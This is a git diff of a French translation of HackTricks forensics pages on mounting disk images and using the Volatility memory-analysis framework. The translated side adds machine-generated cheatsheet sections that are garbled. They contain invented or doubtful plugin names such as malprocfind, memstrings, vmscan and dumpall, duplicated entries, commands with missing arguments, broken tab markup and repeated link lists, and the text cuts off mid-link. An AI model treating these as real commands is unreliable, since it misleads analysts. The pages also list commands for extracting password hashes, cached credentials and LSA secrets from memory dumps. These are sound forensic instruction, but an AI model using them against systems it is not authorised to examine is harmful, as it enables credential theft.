mount output/ewf1 -o ro,norecovery /mnt ``` - ### ArsenalImageMounter -It's a Windows Application to mount volumes. You can download it here [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) +Il s'agit d'une application Windows permettant de monter des volumes. Vous pouvez la télécharger ici [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/) -### Errors - -* **`cannot mount /dev/loop0 read-only`** in this case you need to use the flags **`-o ro,norecovery`** -* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** in this case the mount failed due as the offset of the filesystem is different than that of the disk image. You need to find the Sector size and the Start sector: +### Erreurs +* **`cannot mount /dev/loop0 read-only`** dans ce cas, vous devez utiliser les indicateurs **`-o ro,norecovery`** +* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** dans ce cas, le montage a échoué car le décalage du système de fichiers est différent de celui de l'image de disque. Vous devez trouver la taille du secteur et le secteur de départ: ```bash fdisk -l disk.img Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors @@ -113,21 +134,18 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` - -Note that sector size is **512** and start is **2048**. Then mount the image like this: - +Notez que la taille de secteur est de **512** et le début est de **2048**. Ensuite, montez l'image comme ceci: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index 5699b2169..85b258623 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -1,14 +1,14 @@ -# Volatility - CheatSheet +# Volatility - Fiche de triche
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -16,37 +16,89 @@
-​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +Si vous voulez quelque chose de **rapide et fou** qui lancera plusieurs plugins Volatility en parallèle, vous pouvez utiliser : [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - ## Installation -### volatility3 - +### Volatility3 ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {% tabs %} -{% tab title="Method1" %} +{% tab title="Méthode1" %} + +#### Analyse de la mémoire + +- `volatility2 -f imageinfo` : Affiche les informations de l'image mémoire. +- `volatility2 -f kdbgscan` : Recherche le KDBG (Kernel Debugger Block) dans l'image mémoire. +- `volatility2 -f pslist` : Affiche la liste des processus en cours d'exécution. +- `volatility2 -f psscan` : Recherche les processus dans l'image mémoire. +- `volatility2 -f pstree` : Affiche l'arborescence des processus. +- `volatility2 -f psxview` : Affiche les processus cachés. +- `volatility2 -f dlllist -p ` : Affiche les DLL chargées par un processus. +- `volatility2 -f handles -p ` : Affiche les handles ouverts par un processus. +- `volatility2 -f filescan` : Recherche les fichiers ouverts dans l'image mémoire. +- `volatility2 -f netscan` : Recherche les connexions réseau dans l'image mémoire. +- `volatility2 -f connscan` : Recherche les connexions réseau dans l'image mémoire. +- `volatility2 -f cmdline` : Affiche les commandes exécutées par les processus. +- `volatility2 -f consoles` : Affiche les consoles ouvertes par les processus. +- `volatility2 -f hivelist` : Affiche la liste des hives de registre chargés dans l'image mémoire. +- `volatility2 -f printkey -K ` : Affiche les valeurs d'une clé de registre. +- `volatility2 -f malfind` : Recherche les malwares dans l'image mémoire. +- `volatility2 -f apihooks` : Affiche les hooks d'API dans l'image mémoire. +- `volatility2 -f idt` : Affiche la Interrupt Descriptor Table. +- `volatility2 -f gdt` : Affiche la Global Descriptor Table. +- `volatility2 -f ldrmodules` : Affiche les modules chargés dans l'image mémoire. +- `volatility2 -f modscan` : Recherche les modules dans l'image mémoire. +- `volatility2 -f svcscan` : Recherche les services dans l'image mémoire. +- `volatility2 -f driverirp` : Affiche les IRP (I/O Request Packets) des drivers. +- `volatility2 -f callbacks` : Affiche les callbacks enregistrés dans l'image mémoire. +- `volatility2 -f timers` : Affiche les timers enregistrés dans l'image mémoire. +- `volatility2 -f mutantscan` : Recherche les mutants dans l'image mémoire. +- `volatility2 -f atomscan` : Recherche les atomes dans l'image mémoire. +- `volatility2 -f deskscan` : Recherche les desktops dans l'image mémoire. +- `volatility2 -f privs` : Affiche les privilèges des processus. +- `volatility2 -f getsids` : Affiche les SIDs (Security Identifiers) des processus. +- `volatility2 -f envars` : Affiche les variables d'environnement des processus. +- `volatility2 -f iehistory` : Affiche l'historique de navigation Internet Explorer. +- `volatility2 -f chromehistory` : Affiche l'historique de navigation Google Chrome. +- `volatility2 -f firefoxhistory` : Affiche l'historique de navigation Mozilla Firefox. +- `volatility2 -f shellbags` : Affiche les ShellBags (dossiers ouverts récemment). +- `volatility2 -f shimcache` : Affiche le cache de compatibilité des applications. +- `volatility2 -f userassist` : Affiche les entrées UserAssist (programmes exécutés récemment). +- `volatility2 -f printd` : Affiche les travaux d'impression. +- `volatility2 -f svcmod` : Affiche les modules des services. +- `volatility2 -f sessions` : Affiche les sessions utilisateur. +- `volatility2 -f clipboard` : Affiche le contenu du presse-papiers. +- `volatility2 -f hashdump -y -s ` : Dump les hashes des comptes utilisateurs. +- `volatility2 -f mimikatz` : Exécute Mimikatz dans l'image mémoire. +- `volatility2 -f yarascan -Y ` : Recherche des patterns Yara dans l'image mémoire. +- `volatility2 -f yarascan -y ` : Recherche un pattern Yara dans l'image mémoire. +- `volatility2 -f dumpfiles -Q ` : Dump un fichier à partir d'un offset. +- `volatility2 -f dumpfiles -D ` : Dump tous les fichiers de l'image mémoire. +- `volatility2 -f dumpfiles -U ` : Dump tous les fichiers uniques de l'image mémoire. +- `volatility2 -f dumpfiles -Q -n ` : Dump un fichier à partir d'un offset avec un nom spécifique. +- `volatility2 -f dumpfiles -Q -s ` : Dump un fichier à partir d'un offset avec une taille spécifique. + +{% endtab %} +{% endtabs %} ``` Download the executable from https://www.volatilityfoundation.org/26 ``` {% endtab %} -{% tab title="Method 2" %} +{% tab title="Méthode 2" %} ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility @@ -55,26 +107,26 @@ python setup.py install {% endtab %} {% endtabs %} -## Volatility Commands +## Commandes Volatility -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +Accédez à la documentation officielle dans [Référence des commandes Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +### Note sur les plugins "list" vs "scan" -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility a deux approches principales pour les plugins, qui sont parfois reflétées dans leurs noms. Les plugins "list" essaieront de naviguer à travers les structures du noyau Windows pour récupérer des informations telles que les processus (localiser et parcourir la liste chaînée des structures `_EPROCESS` en mémoire), les poignées OS (localiser et lister la table de poignées, déréférencer les pointeurs trouvés, etc.). Ils se comportent plus ou moins comme le ferait l'API Windows si on lui demandait, par exemple, de lister les processus. -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +Cela rend les plugins "list" assez rapides, mais tout aussi vulnérables que l'API Windows à la manipulation par les logiciels malveillants. Par exemple, si un logiciel malveillant utilise DKOM pour délier un processus de la liste chaînée `_EPROCESS`, il n'apparaîtra pas dans le Gestionnaire des tâches et ne le fera pas non plus dans la liste des processus. -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +Les plugins "scan", en revanche, adopteront une approche similaire à la sculpture de la mémoire pour des choses qui pourraient avoir du sens lorsqu'elles sont déréférencées en tant que structures spécifiques. `psscan`, par exemple, lira la mémoire et essaiera de créer des objets `_EPROCESS` à partir de celle-ci (il utilise la recherche de pool-tag, qui recherche des chaînes de 4 octets indiquant la présence d'une structure d'intérêt). L'avantage est qu'il peut déterrer des processus qui ont quitté, et même si les logiciels malveillants altèrent la liste chaînée `_EPROCESS`, le plugin trouvera toujours la structure qui traîne en mémoire (puisqu'elle doit encore exister pour que le processus s'exécute). La chute est que les plugins "scan" sont un peu plus lents que les plugins "list" et peuvent parfois donner des faux positifs (un processus qui a quitté il y a trop longtemps et dont certaines parties de sa structure ont été écrasées par d'autres opérations). -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +À partir de: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## Profils OS ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +Comme expliqué dans le fichier readme, vous devez mettre la **table des symboles de l'OS** que vous souhaitez prendre en charge dans _volatility3/volatility/symbols_.\ +Les packs de tables de symboles pour les différents systèmes d'exploitation sont disponibles en **téléchargement** sur: * [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) * [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -82,16 +134,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### Profil externe +Vous pouvez obtenir la liste des profils pris en charge en faisant: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +Si vous souhaitez utiliser un **nouveau profil que vous avez téléchargé** (par exemple, un profil Linux), vous devez créer quelque part la structure de dossier suivante : _plugins/overlays/linux_ et mettre à l'intérieur de ce dossier le fichier zip contenant le profil. Ensuite, obtenez le nombre de profils en utilisant : ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -103,28 +152,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +Vous pouvez **télécharger des profils Linux et Mac** depuis [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +Dans le chunk précédent, vous pouvez voir que le profil s'appelle `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, et vous pouvez l'utiliser pour exécuter quelque chose comme: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### Découvrir le profil ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **Différences entre imageinfo et kdbgscan** -#### **Differences between imageinfo and kdbgscan** - -As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +Contrairement à imageinfo qui fournit simplement des suggestions de profil, **kdbgscan** est conçu pour identifier positivement le profil correct et l'adresse KDBG correcte (s'il y en a plusieurs). Ce plugin recherche les signatures KDBGHeader liées aux profils de Volatility et applique des vérifications de cohérence pour réduire les faux positifs. La verbosité de la sortie et le nombre de vérifications de cohérence qui peuvent être effectuées dépendent de la capacité de Volatility à trouver un DTB, donc si vous connaissez déjà le profil correct (ou si vous avez une suggestion de profil à partir de imageinfo), assurez-vous de l'utiliser (à partir de [ici](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)). +Vérifiez toujours le **nombre de processus que kdbgscan a trouvé**. Parfois, imageinfo et kdbgscan peuvent trouver **plus d'un** profil approprié, mais seul le **bon aura des processus associés** (Cela est dû au fait que pour extraire les processus, l'adresse KDBG correcte est nécessaire). ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -136,26 +179,20 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing. - -## OS Information +Le **bloc de débogage du noyau** (nommé KdDebuggerDataBlock de type \_KDDEBUGGER\_DATA64, ou **KDBG** par Volatility) est important pour de nombreuses choses que Volatility et les débogueurs font. Par exemple, il a une référence à PsActiveProcessHead qui est la tête de liste de tous les processus requis pour la liste des processus. +## Informations sur le système d'exploitation ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +Le plugin `banners.Banners` peut être utilisé dans **vol3 pour essayer de trouver des bannières linux** dans le dump. -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## Hashes/Mots de passe -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). - -{% tabs %} -{% tab title="vol3" %} +Extraire les hachages SAM, les [informations d'identification mises en cache du domaine](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) et les [secrets LSA](../../../windows-hardening/authentication-credentials-uac-and-efs.md#lsa-secrets). ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry @@ -163,7 +200,272 @@ Extract SAM hashes, [domain cached credentials](../../../windows-hardening/steal ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +pip install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Process Analysis + +#### pslist + +List running processes. + +```bash +volatility -f pslist +``` + +#### psscan + +Scan for processes. + +```bash +volatility -f psscan +``` + +#### pstree + +Display process tree. + +```bash +volatility -f pstree +``` + +#### dlllist + +List loaded DLLs. + +```bash +volatility -f dlllist +``` + +#### handles + +List open handles. + +```bash +volatility -f handles +``` + +#### cmdscan + +Scan for command history. + +```bash +volatility -f cmdscan +``` + +### Malware Analysis + +#### malfind + +Find hidden and injected code. + +```bash +volatility -f malfind +``` + +#### malprocfind + +Find hidden processes. + +```bash +volatility -f malprocfind +``` + +#### malfind + +Find hidden files. + +```bash +volatility -f malfind +``` + +### Memory Analysis + +#### memdump + +Dump process memory. + +```bash +volatility -f memdump -p -D +``` + +#### memmap + +Display memory map. + +```bash +volatility -f memmap +``` + +#### memstrings + +Extract printable strings. + +```bash +volatility -f memstrings +``` + +#### memimage + +Extract PE files. + +```bash +volatility -f memimage +``` + +#### memdiff + +Compare memory dumps. + +```bash +volatility -f memdiff -f +``` + +### Network Analysis + +#### connscan + +List open connections. + +```bash +volatility -f connscan +``` + +#### sockets + +List open sockets. + +```bash +volatility -f sockets +``` + +#### netscan + +Scan for network activity. + +```bash +volatility -f netscan +``` + +### User Analysis + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hashdump + +Dump password hashes. + +```bash +volatility -f hashdump -s -u +``` + +#### userassist + +List userassist entries. + +```bash +volatility -f userassist +``` + +#### getsids + +List user SIDs. + +```bash +volatility -f getsids +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +### Windows Registry Analysis + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### printval + +Print registry value. + +```bash +volatility -f printval -K -V +``` + +#### hivedump + +Dump registry hive. + +```bash +volatility -f hivedump -o -s -w +``` + +### Virtualization Analysis + +#### vboxinfo + +Display VirtualBox information. + +```bash +volatility -f vboxinfo +``` + +#### vboxsf + +List VirtualBox shared folders. + +```bash +volatility -f vboxsf +``` + +#### vmwareinfo + +Display VMware information. + +```bash +volatility -f vmwareinfo +``` + +#### vmscan + +Scan for virtual machines. + +```bash +volatility -f vmscan +``` + +## References + +- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry @@ -172,28 +474,24 @@ volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets {% endtab %} {% endtabs %} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## Dump de mémoire +Le dump de mémoire d'un processus va extraire tout ce qui concerne l'état actuel du processus. Le module **procdump** ne va extraire que le **code**. ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` - -​ -
-​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} -## Processes +## Processus -### List processes +### Liste des processus -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +Essayez de trouver des processus **suspects** (par nom) ou des **processus** enfants **inattendus** (par exemple, un cmd.exe en tant qu'enfant de iexplorer.exe).\ +Il pourrait être intéressant de **comparer** le résultat de pslist avec celui de psscan pour identifier les processus cachés. {% tabs %} {% tab title="vol3" %} @@ -204,35 +502,764 @@ python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malwa ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `dumpcerts` + +```bash +volatility -f dumpcerts -O +``` + +### Plugin `dumpcache` + +```bash +volatility -f dumpcache -D +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpregistryvalues` + +```bash +volatility -f dumpregistryvalues -o -D +``` + +### Plugin `dumpall` + +```bash +volatility -f dumpall -D +``` + +### Plugin `moddump` + +```bash +volatility -f moddump -D +``` + +### Plugin `modscan` + +```bash +volatility -f modscan +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `svcscan` + +```bash +volatility -f svcscan +``` + +### Plugin `printkey` + +```bash +volatility -f printkey -K +``` + +### Plugin `getsids` + +```bash +volatility -f getsids +``` + +### Plugin `userassist` + +```bash +volatility -f userassist +``` + +### Plugin `dumpcerts` + +```bash +volatility -f dumpcerts -O +``` + +### Plugin `dumpcache` + +```bash +volatility -f dumpcache -D +``` + +### Plugin `connscan` + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +### Plugin `sockets` + +```bash +volatility -f sockets +``` + +### Plugin `sockscan` + +```bash +volatility -f sockscan +``` + +### Plugin `filescan` + +```bash +volatility -f filescan +``` + +### Plugin `pslist` + +```bash +volatility -f pslist +``` + +### Plugin `psscan` + +```bash +volatility -f psscan +``` + +### Plugin `pstree` + +```bash +volatility -f pstree +``` + +### Plugin `dlllist` + +```bash +volatility -f dlllist +``` + +### Plugin `netscan` + +```bash +volatility -f netscan +``` + +### Plugin `procdump` + +```bash +volatility -f procdump -p -D +``` + +### Plugin `memdump` + +```bash +volatility -f memdump -p -D +``` + +### Plugin `malfind` + +```bash +volatility -f malfind -p -D +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) +- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin 